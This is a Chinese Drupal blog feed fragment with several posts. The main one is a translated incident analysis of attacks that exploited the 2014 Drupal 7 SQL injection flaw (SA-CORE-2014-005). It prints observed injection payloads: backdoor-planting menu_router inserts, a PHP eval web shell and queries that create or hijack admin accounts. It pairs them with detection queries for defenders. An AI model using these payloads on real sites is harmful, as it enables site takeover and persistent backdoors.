&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/62ba5eea4dc8d668c8ec08124ee4553d.png&#34; alt=&#34;Server Set-up&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Edit Resources&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;这里可以编辑Server的各种配置项目&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/dd5dbae61731c948b1ce53cc38fe80dc.png&#34; alt=&#34;Edit Resource&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;3-服务器配置&#34;&gt;3. 服务器配置&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Server Tab页面让你可以为Server选择(响应)格式以及(请求的)解析器类型。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/7cee34feb5fac96973f710a66012815e.png&#34; alt=&#34;settings&#34; /&gt;&lt;/p&gt;

&lt;p&gt;认证(Authentication) Tab让你可以对Server进行访问控制，下面以OAuth举例说明：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;安装&lt;a href=&#34;https://www.drupal.org/project/oauth&#34; target=&#34;_blank&#34;&gt;OAuth&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;导航至 &lt;code&gt;Configuration &amp;gt; OAuth &amp;gt; Add Context&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设置OAuth连接的详细信息&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;Structure &amp;gt; Services &amp;gt; Edit Resources&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;检查OAuth的认证框：&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/b8e80b19bcf0c6ad4b9973908bfc7b6b.png&#34; alt=&#34;auth box&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击认证Tab（Authentication）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择OAuth上下文(Context)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/8776f9042df170ef84fe02362c1b116f.png&#34; alt=&#34;OAuth Context&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，资源Tab允许你控制服务器的功能范围。本例中，我们要确定按下图进行选择。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/14672d2c7bddd96a2c7c11178dc5b028.png&#34; alt=&#34;selection&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;4-创建视图&#34;&gt;4. 创建视图&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;Structure &amp;gt; Views &amp;gt; Add New View&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建一个视图，只使用Block模式：&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/e1ca820ec17ee639bf11e0777c837e7b.png&#34; alt=&#34;new view &#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击继续，编辑&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在views顶部点击Add，添加Servies。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/d5d1b67d033c78120ef0e793236a6911.png&#34; alt=&#34;add services&#34; /&gt;&lt;/p&gt;

&lt;p&gt;你会看到一条消息：&lt;code&gt;Display &amp;quot;Services&amp;quot; uses a path but the path is undefined.&lt;/code&gt;(显示Services需要使用的路径未经定义)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;点击Path右边的斜线进行编辑，来解决这一问题&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/b320b93c8bb83c5453e562facb07d80f.png&#34; alt=&#34;path1&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;输入路径，例如&amp;rdquo;myrestapi&amp;rdquo;：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/04226bda3aae9984ffb39625d9797d8f.png&#34; alt=&#34;path2&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;查看预览。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;保存View。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/ae53cc690f7f302ac155ee65c25948c7.png&#34; alt=&#34;review&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后你就可以利用Views的功能对其进行定制了。&lt;/p&gt;

&lt;h2 id=&#34;5-查看server&#34;&gt;5. 查看Server&lt;/h2&gt;

&lt;p&gt;最后一步就是查看Server的输出。没有自动提供的连接，只能通过下面的网址来查看：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    /path-to-endpoint/views/view-machine-name/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在我的例子中是这样定义的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;path-to-endpoint：我在第二部分中设置为“myrestapi”.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;view-machine-name：我给这个view命名为&amp;rdquo;myrestapi&amp;rdquo;，可以通过编辑view并查看URL来确定网址的唯一性。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以，访问我的Server的URL： &lt;code&gt;/myrestapi/views/myrestapi/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;下面是返回内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/824063bc4d1a32a68f277db67b9b0bcc.png&#34; alt=&#34;xml&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##更多内容&lt;/p&gt;

&lt;p&gt;Drupal.org上&lt;a href=&#34;https://www.drupal.org/node/1871498&#34; target=&#34;_blank&#34;&gt;最好的文档&lt;/a&gt;，相较本文来说，提供了更多细节，这篇文章也是&lt;a href=&#34;https://www.drupal.org/node/113697&#34; target=&#34;_blank&#34;&gt;Services文档&lt;/a&gt;的一部分.&lt;/p&gt;

&lt;p&gt;如果你希望使用REST API导入数据，我找到的&lt;a href=&#34;https://www.drupal.org/node/113697&#34; target=&#34;_blank&#34;&gt;最好教程&lt;/a&gt;拱你参考。&lt;/p&gt;

&lt;p&gt;Youtube上还提供了一个很好的视频：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=xxWWq4wwqp4&#34; target=&#34;_blank&#34;&gt;https://www.youtube.com/watch?v=xxWWq4wwqp4&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal SQL注入漏洞后的一周——黑客教了我们什么？</title>
      <link>/post/drupal-sql-injection-weeks-later/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-sql-injection-weeks-later/</guid>
      <description>&lt;p&gt;在10月15日，黑客们忙着跟进一个问题：如何利用Drupal 7的&lt;a href=&#34;https://www.drupal.org/SA-CORE-2014-005&#34; target=&#34;_blank&#34;&gt;SA-CORE-2014&amp;ndash;005&lt;/a&gt;漏洞进行SQL注入。一个星期过去了，攻击者们仍然在持续忙碌。Moshe Weizman&lt;a href=&#34;https://www.acquia.com/blog/shields&#34; target=&#34;_blank&#34;&gt;发文&lt;/a&gt;解释了我们如何在这一缺陷暴露的情况下保护客户的网站。在本文中，我们会看看近期对&lt;a href=&#34;https://www.acquia.com/products-services/acquia-cloud&#34; target=&#34;_blank&#34;&gt;Acquia Cloud&lt;/a&gt;中针对SQL注入缺陷的攻击的来龙去脉。&lt;/p&gt;

&lt;p&gt;本文的数据基于Acquia Cloud上托管的几万个网站中产出的大量日志，并经过了内部工具的整理和分析。所有本文中提及的时间都是美国东部标准时间。我们目前认为Acquia Cloud中的站点尚未被击破，所以我们只会描述一些入侵的尝试，不过外边的Drupal站点来说，运气可能就没那么好了。如果在阅读本文时你还没有对你的站点进行修补，也许下一分钟你的站点就已经被侵入了。&lt;/p&gt;

&lt;p&gt;#模式1：docroot中的后门&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：7785&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.16 4:09&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;在官方声明当天，很多用户在Drupal.org的论坛和IRC报告他们发现站点的docroot中发现了&lt;a href=&#34;https://gist.github.com/joshkoenig/f5485f3db8efdd98f184&#34; target=&#34;_blank&#34;&gt;Josh Koenig描述的后门&lt;/a&gt;。它在你的核心模块目录中创建随机文件，例如&lt;code&gt;modules/aggregator/dlov.php&lt;/code&gt;，这是一个允许攻击者运行PHP代码的后门，很多用户说他们的站点已经被打了补丁。黑客们利用后门给Drupal打补丁，大概是为了确认他们对站点的所有权，并防止其他黑客的进入。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES (dlov, &#39;&#39;, &#39;&#39;, dlov, &#39;file_put_contents&#39;, HEX)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我跟踪这个攻击，发现了一个俄罗斯IP &lt;code&gt;62.76.191.119&lt;/code&gt;。IRC上的其他人也确认他们被入侵的站点也是遭到了同一个IP的入侵。这个IP从10.16 3:00到10.17 13:00的一段时间里，连接我们的平台36786次，这些连接包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在用户登录Form中，利用SQL注入漏洞执行上文提到的SQL语句。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多次到/dlov以及/?q=dlov的GET请求，用于在docroot中保存后门。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;更多的GET请求用于访问后门文件（modules/aggregator/dlov.php）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因为Acquia Cloud提供了SQL注入防范，所有的这些GET请求都返回了404，即使是第一个POST请求也没能突破这一防线。因为docroot是web server无法写入的，所以即使SQL注入能够执行，这一攻击对Acquia Cloud也是无法奏效的。&lt;/p&gt;

&lt;p&gt;下图展示了34个小时中针对不同站点的的7785次POST：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/c7d0c2a188bad6b280dadad1d64a473f.png&#34; alt=&#34;post diagram&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;译者注：用find [drupal_path]  -mtime -[day_count] -type f -print 列表指定天数内被修改的文件，应该可以检查站点是否符合本模式&lt;/em&gt;
#模式2：/user路径中的后门&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：732&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.16 7:38&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我在10月17日证实了这一模式后立即发表了&lt;a href=&#34;https://gist.github.com/scor/b566c0f4d94c5b012f6b&#34; target=&#34;_blank&#34;&gt;一篇文章&lt;/a&gt;。这一攻击启用了PHP模块，并更新&lt;code&gt;menu_router&lt;/code&gt;中&lt;code&gt;/user&lt;/code&gt;的&lt;code&gt;access_callback&lt;/code&gt;为&lt;code&gt;php_eval&lt;/code&gt;，这使得攻击者可以通过各种请求来执行任意PHP代码。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=HEX, access_callback=HEX WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (HEX, HEX);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这类攻击的长处在于，无需写入docroot，不过他在清除menu cache的时候同样暴露了。&lt;/p&gt;

&lt;p&gt;这类攻击并无特定IP特征，不过猜测可能来自于一群肉鸡。下面是一些我发现的IP：92.222.172.41, 199.27.76.34, 192.42.116.16, 199.27.76.30, 199.27.76.25, 162.247.72.7, 209.234.102.238, 85.25.103.48, 95.130.9.89。所有这些IP在我们的平台上都被标记为垃圾流量，最后四个IP是Tor IP：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/46bf3f6637b47f4cbc6d87f67882ed8c.png&#34; alt=&#34;tor ip&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;译者注：用&lt;code&gt;select * from menu_router where access_callback=&#39;php_eval&#39;&lt;/code&gt;应该可以检查该模式&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#模式3：在Body中创建一个PHP代码Block&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：24&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.17 9:17&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;攻击者创建一个自定义Block，格式为PHP代码，并在Block中插入以下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    &amp;lt;?php @eval($_POST[&#39;caodaoyoule&#39;]);?&amp;gt;

        insert into block(module,delta,theme,status,weight,region,custom,visibility,pages,title,cache) values (&#39;block&#39;,&#39;63353&#39;,(select substring_index(substring_index(value,&#39;&amp;quot;&#39;,&#39;2&#39;),&#39;&amp;quot;&#39;,-1) from variable where name=&#39;theme_default&#39;),1,0,&#39;footer&#39;,0,0,&#39;&#39;,&#39;&#39;,-1);insert into block_custom(bid,body,info,format) values (63353,HEX,&#39;nonono&#39;,&#39;php_code&#39;);insert into filter_format values (&#39;php_code&#39;,&#39;PHP_code&#39;,0,1,11);insert into filter values (&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_autop&#39;, 0, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_html&#39;, -10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_htmlcorrector&#39;, 10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_html_escape&#39;, -10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_url&#39;, 0, 0, HEX),(&#39;php_code&#39;, &#39;php&#39;, &#39;php_code&#39;, 0, 1, HEX);update system set status=1,schema_version=0;delete from cache_bootstrap;delete from cache;delete from cache_menu;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;译者注：用查询&lt;code&gt;select * from block_custom where format=&#39;php_code&#39;&lt;/code&gt;，列出格式为PHP CODE的所有Block&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#其他模式：复位管理用户名和密码，或者插入新的管理员用户&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：3000+&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.15 20:20&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这个模式是最先出现的。&lt;/p&gt;

&lt;p&gt;下面这个查询对1号用户进行重命名，并修改了密码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    update users set name=&#39;jhuang&#39; , pass = &#39;HASH&#39; where uid = &#39;1&#39;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面的查询创建了一个新的用户，并给他一个巨大的uid，使之不会同现存用户冲突。角色ID为3，3是缺省的管理员角色编号。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    insert into {users} (uid,name,pass,status) values (333333,&#39;admin2&#39;,&#39;HASH&#39;,1);insert into {users_roles} (uid,rid) values(333333,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;主要的发起IP是：118.113.158.7, 103.242.1.193, 118.113.158.7, 125.70.172.51, 222.211.211.65, 125.70.173.81, 103.242.1.193&lt;/p&gt;

&lt;p&gt;另外一个类似的查询是：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    INSERT INTO `users` VALUES (9999,HASH,&#39;test@test.com&#39;,&#39;&#39;,&#39;&#39;,NULL,1413423527,1413426879,1413426953,1,&#39;Africa/Abidjan&#39;,&#39;&#39;,0,&#39;test@test.com&#39;,&#39;b:0;&#39;);insert into `users_roles` values (9999,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个查询很有趣：攻击者试图把自己的IP替换为Google DNS的8.8.8.8。&lt;/p&gt;

&lt;p&gt;下面的查询查找最大UID用于接下来的写入动作：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name=&#39;phantom&#39; , pass = &#39;HASH&#39;;INSERT INTO users_roles set uid=@a,rid=3;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;#结论&lt;/p&gt;

&lt;p&gt;这些问题给我们一个机会去学习黑客们面对未关闭漏洞的行为方式。攻击者们在漏洞发现后的几个小时内就开始攻击。我们不确定攻击者需要掌握多少Drupal相关的知识，但是现有情况表明，一点点就足以致命。如果你目前还没有对你的站点进行修补，而且没有托管在Acquia这样的平台上，几乎可以肯定你已经被攻击了。&lt;/p&gt;

&lt;p&gt;在对攻击的分析中，我们认为攻击者并不只是针对Drupal 7：我们发现攻击者同样瞄准了Drupal 5和6的站点。99%的被攻击域都是极少被攻击的开发站点或是无用站点。我们没有发现尝试修改内容或停掉网站的攻击，攻击者们似乎只乐于安装后门，获取控制权，并隐藏入侵迹象。本文中多数查询都是节选。被去掉的部分都是MySQL自然支持的&lt;a href=&#34;https://dev.mysql.com/doc/refman/5.0/en/hexadecimal-literals.html&#34; target=&#34;_blank&#34;&gt;十六进制&lt;/a&gt;。黑客们似乎偏爱用这种方式来混淆危险的PHP操作，并骗过可能的检测。&lt;/p&gt;

&lt;p&gt;要确定你的站点是否被侵入，可参考&lt;a href=&#34;https://www.drupal.org/node/2357241&#34; target=&#34;_blank&#34;&gt;官方的FAQ&lt;/a&gt;，并阅读&lt;a href=&#34;https://github.com/greggles/cracking-drupal/blob/master/after-an-exploit.md&#34; target=&#34;_blank&#34;&gt;《站点被黑怎么办？》&lt;/a&gt;。另外还有个有用的流程图：&lt;a href=&#34;http://drupal.geek.nz/blog/your-drupal-websites-backdoor&#34; target=&#34;_blank&#34;&gt;Your Drupal website has a backdoor&lt;/a&gt;。值得注意的是，即使你打了7.32补丁，也可能在打补丁之前被入侵，可以参看&lt;a href=&#34;https://www.drupal.org/node/2362315&#34; target=&#34;_blank&#34;&gt;reported a hack on the zen theme on this site&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;还有一个问题是，这次SQL注入缺陷是否在login form之外被利用。目前我们还没有发现这种情况，我们的客户以及Drupal社区也没有报告此类攻击。这不意味着不存在这种风险，说不定已经存在这种攻击。我们相信&lt;a href=&#34;https://www.acquia.com/blog/shields&#34; target=&#34;_blank&#34;&gt;we protected all our customers from this attack&lt;/a&gt;能够防范类似的攻击，当然，这种推测只能靠时间来证明。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal工作流概览</title>
      <link>/post/drupal-workflow-summary/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-workflow-summary/</guid>
      <description>

&lt;p&gt;现在，一个商业公司如果发布了静态或者过时的Web内容，会给人造成不合时宜、步履蹒跚的印象，因此，各种机构都体会到了要频繁创作Web内容，更新现有内容以及同在线用户分享文档的持续增长的压力。&lt;/p&gt;

&lt;p&gt;内容维护的压力使得内容采编人员的编制随之增长，人数的增长就要求组织利用Drupal这样的内容管理系统，来开发并执行一套内容采编流程。最主要的挑战是如何为众多的采编人员提供一个环境，这一环境能够在不影响现有的内容，也不降低安全性的前提下，让采编人员能够发布内容。在此基础上，还要建立品牌标准并提供质量保障。这一过程涉及到的内容编写和审批的职责：&lt;/p&gt;

&lt;h3 id=&#34;编辑-审批&#34;&gt;编辑/审批&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;审查：是否有淫秽或者其他的负面内容？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;可读性：有没有语法、格式拼写或者其他类似问题？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;准确性：内容是否真实？其中涉及到的统计数字以及事实是否需要再次确认？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;品牌：是否正确使用公司的字体、颜色以及图片？内容、语气以及技术术语是否符合公司的标准？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;版权：公司是否有权发布这些内容、图像以及外部文档？所有的来源引用是否都有标明？&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;作者&#34;&gt;作者&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;提供能够准确体现公司信息的内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;准确，专业，及时&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;务必保证内容能够被团队以及其他受众接受，耸人听闻、哗众取宠永远不是好主意。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;发布内容应有保存价值，好内容的价值会持续较长的时间。别发什么公司野炊之类的破事，一周后就没人记得这回事了。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上面列出了两种角色，接下来我们看看Drupal 7能为这种场景提供什么样的解决方案。&lt;/p&gt;

&lt;p&gt;Drupal 7核心目前并未提供发布内容的流程管理。一个内容Node(页面)只能是发布或者未发布状态。然而，有些第三方模块实现了我们需要的功能。&lt;/p&gt;

&lt;h2 id=&#34;workbench模块&#34;&gt;Workbench模块&lt;/h2&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/2385d1132ee3f1b452fd5592677ae081.png&#34; alt=&#34;Workbench&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对内容管理工作流程，&lt;a href=&#34;http://drupal.org/project/workbench&#34; target=&#34;_blank&#34;&gt;Workbench&lt;/a&gt;提供了模块化的支持能力。有很多模块可以启用或者禁用，以此来定制不同类型的工作流。这个模块包含大量代码，涉及到方方面面。还可以编写自己的模块对Workbench进行扩展。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/documentation/modules/workbench&#34; target=&#34;_blank&#34;&gt;WorkBench套件&lt;/a&gt;有很完备的演示视频、文档以及相关模块的连接。在这里必须夸奖一下他的高质量代码、文档以及深思熟虑的模块结构。这些模块以经典的Drupal模式构建，易于配置浏览和使用。Workbench的弹性令人印象深刻。他能简单的生成常见的简单工作流，也能针对各种环境，通过定制实现复杂的应用流程。&lt;/p&gt;

&lt;p&gt;##Workflow模块&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/workflow&#34; target=&#34;_blank&#34;&gt;Workflow&lt;/a&gt;是本文中三个模块中最成熟的一个。他为内容发布状态管理提供了一个简单的工作流方案，他为指定的内容类型提供了包含草稿、审核以及发布状态。&lt;/p&gt;

&lt;p&gt;用于承载状态的Field在内容编辑界面可以进行控制，同时也为管理员提供了简单的配置页面。还可以利用Views列出不同状态下的内容。&lt;/p&gt;

&lt;p&gt;##Maestro模块&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/8e9a3bc4620911d5aa8727e5b5d63057.png&#34; alt=&#34;Maestro&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/maestro&#34; target=&#34;_blank&#34;&gt;Maestro&lt;/a&gt;是Drupal 7下面的一个非常强大的工作流系统，他通常见于出版性网站。有&lt;a href=&#34;http://www.nutshell.nu/comment/72&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;演示了一篇内容从草稿状态转变为发布状态的过程。这一系统可以满足出版者任何复杂需要，他也可以用极简的方式进行配置。&lt;/p&gt;

&lt;p&gt;Maestor的最为独特的功能就是图形化的工作流设计器了。这一特性以图形界面提供了直觉化的工作流设计功能，其中以令人惊叹的方式提供了必要的配置功能。然而，这依然需要一些学习，新潮的界面和交互，以及右键菜单，都需要学习和适应。&lt;/p&gt;

&lt;p&gt;抛开实现问题不谈，最重要的是识别工作流的需求。推荐下面的检查表，该列表用于确认需求的要点是否都被满足：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;版本：必须能够记录、回滚，并能够进行版本之间的比较。Drupal核心提供了版本控制能力，不过有些工作流模块提供了更好的扩展。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;备注：应该具有一个备注字段，让编辑和作者能够留下各自的备注。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;时间表：内容定时过期或定时撤回已发布内容是一个很有用的功能。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;审核队列：审核队列需要非常易用，这方面是否便利，会直接影响到系统的选型工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多重审核：在内容发布之前，进行多步审核是很有帮助的。例如，可能三个或者四个部门经理需要在内容发布之前进行确认。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后，工作流系统的合理建设，能够通过结构化的通信和有组织的内容，让组织内的各种角色更好的参与内容发布过程，极大的提高在线内容的质量。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal数据库异常臃肿的检测和排除</title>
      <link>/post/drupal-database-cleanup/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-database-cleanup/</guid>
      <description>&lt;p&gt;Drupal网站利用数据库来保存配置和内容。&lt;/p&gt;

&lt;p&gt;在普遍情况下（小规模部署），这个数据库是很紧凑的。例如我管理的这个网站一般只在5-20M之间。数据库尺寸主要受到内容数量和模块的影响。&lt;/p&gt;

&lt;p&gt;然而，我曾经被一条主机商发来的通知吓了一跳，说我的网站使用了超过2G的存储，我想一定是出了什么问题。&lt;/p&gt;

&lt;p&gt;这里我会分享我解决这个问题的一些心得，我想如果你遇到这些问题，也会有相似的情况。&lt;/p&gt;

&lt;p&gt;（提示一下，可以使用&lt;a href=&#34;http://drush.ws/#sql-cli&#34; target=&#34;_blank&#34;&gt;drush sqlc&lt;/a&gt;来在你的网站数据库上运行SQL命令）&lt;/p&gt;

&lt;p&gt;##数据库层面&lt;/p&gt;

&lt;p&gt;找到受影响的数据库。一般来说，每个网站对应一个数据库——除非你在使用一个多站点配置。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;SELECT
    table_schema &amp;quot;DB Name&amp;quot;,
    ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) &amp;quot;DB Size in MB&amp;quot; 
FROM information_schema.tables
GROUP BY table_schema;

+--------------------+---------------+
| DB Name            | DB Size in MB |
+--------------------+---------------+
| information_schema |           0.2 |
| drupal_database    |        1110.2 |
+--------------------+---------------+
2 rows in set (0.01 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里你会发现，我的数据库用户只能看到两个数据库，*information_schema*是一个内部数据库，主数据库叫做drupal_database&lt;/p&gt;

&lt;p&gt;##数据表层面&lt;/p&gt;

&lt;p&gt;下一步是来查明让数据库膨胀至此的原因。对数据库中的表进行排查。&lt;/p&gt;

&lt;p&gt;我发现*&amp;ldquo;order by size&amp;rdquo;*很有用，他只会显示五个最大的表，这五个表很可能就是问题所在。如果不是这样，那可能是个好消息——你的网站已经成长到了如此规模。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;SELECT
    table_name,
    table_rows,
    data_length,
    index_length,
    ROUND(((data_length + index_length) / 1024 / 1024),2) &#39;Table Size in MB&#39;
FROM information_schema.tables
WHERE table_type = &#39;BASE TABLE&#39;
ORDER BY data_length DESC
LIMIT 5;

+---------------------+------------+-------------+--------------+------------------+
| table_name          | table_rows | data_length | index_length | Table Size in MB |
+---------------------+------------+-------------+--------------+------------------+
| queue               |     137362 |  1137704424 |      4017152 |          1088.83 |
| field_revision_body |       1731 |     5259276 |       154624 |             5.16 |
| field_data_body     |       1731 |     5259276 |       145408 |             5.15 |
| feeds_log           |      27455 |     2712868 |      1131520 |             3.67 |
| menu_router         |        401 |      406128 |        76800 |             0.46 |
+---------------------+------------+-------------+--------------+------------------+
5 rows in set (0.01 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在我的例子中，*queue*表占用了98%的空间，这就是问题了。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.queue.inc/group/queue/7&#34; target=&#34;_blank&#34;&gt;Drupal使用queue表来存储将被cron运行的任务&lt;/a&gt;，如果cron成功运行，那么这里应该是个空表，或者在上次cron运行之后产生的很少几条记录。&lt;/p&gt;

&lt;p&gt;##任务层面&lt;/p&gt;

&lt;p&gt;为了查明事实，我查看了一下这个表中的task类型。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;SELECT
    name,
    COUNT(1)
FROM queue
GROUP BY name;

+---------------------+----------+
| name                | COUNT(1) |
+---------------------+----------+
| feeds_source_import |   137498 |
+---------------------+----------+
1 row in set (0.07 sec)
&lt;/code&gt;&lt;/pre&gt;

